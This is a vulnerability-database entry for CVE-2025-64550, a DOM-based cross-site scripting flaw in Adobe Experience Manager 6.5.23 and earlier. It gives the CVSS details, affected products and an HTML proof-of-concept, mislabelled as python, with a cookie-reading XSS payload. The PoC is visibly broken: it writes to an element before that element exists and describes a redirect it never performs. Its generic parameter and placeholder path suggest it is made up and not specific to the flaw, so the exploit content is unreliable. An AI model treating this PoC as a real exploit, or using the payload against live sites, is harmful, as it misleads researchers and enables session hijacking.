CVE-2025-64550

Description

Adobe Experience Manager versions 6.5.23 and earlier are affected by a DOM-based Cross-Site Scripting (XSS) vulnerability that could be exploited by a low privileged attacker to execute malicious scripts in the context of the victim's browser. Exploitation of this issue requires user interaction, such as visiting a crafted URL or interacting with a manipulated web page.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:* - VULNERABLE

cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:* - VULNERABLE

cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:* - VULNERABLE

Adobe Experience Manager <= 6.5.23

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-64550 PoC - DOM-based XSS in Adobe Experience Manager -->
<!-- This PoC demonstrates the DOM-based XSS vulnerability in AEM -->
<!-- Target: Adobe Experience Manager versions <= 6.5.23 -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-64550 PoC</title>
</head>
<body>
    <h1>Adobe Experience Manager DOM-based XSS PoC</h1>
    <p>Target: AEM versions <= 6.5.23</p>
    
    <!-- Malicious URL that triggers the XSS -->
    <script>
        // Construct the malicious URL
        const baseUrl = window.location.origin;
        const maliciousPath = '/content/path/to/page.html';
        const xssPayload = '<img src=x onerror="alert(document.cookie)">';
        const maliciousUrl = baseUrl + maliciousPath + '?param=' + encodeURIComponent(xssPayload);
        
        // Display the malicious URL
        document.getElementById('malicious-url').innerHTML = 
            'Malicious URL: <a href="' + maliciousUrl + '" target="_blank">' + maliciousUrl + '</a>';
        
        // Auto-redirect after 3 seconds (for demonstration)
        console.log('CVE-2025-64550 - Adobe Experience Manager DOM-based XSS');
        console.log('Payload: ' + xssPayload);
    </script>
    
    <div id="malicious-url"></div>
    <div id="poc-description">
        <h2>Attack Scenario:</h2>
        <ol>
            <li>Attacker crafts a malicious URL with XSS payload in parameter</li>
            <li>Victim (low-privileged user or admin) visits the crafted URL</li>
            <li>Browser executes the malicious JavaScript in victim's context</li>
            <li>Attacker steals session cookies or performs actions on behalf of victim</li>
        </ol>
    </div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64550
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64550
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64550/
[4] VulDB https://vuldb.com/cve/CVE-2025-64550
[5] https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html

Raw JSON Data

JSON

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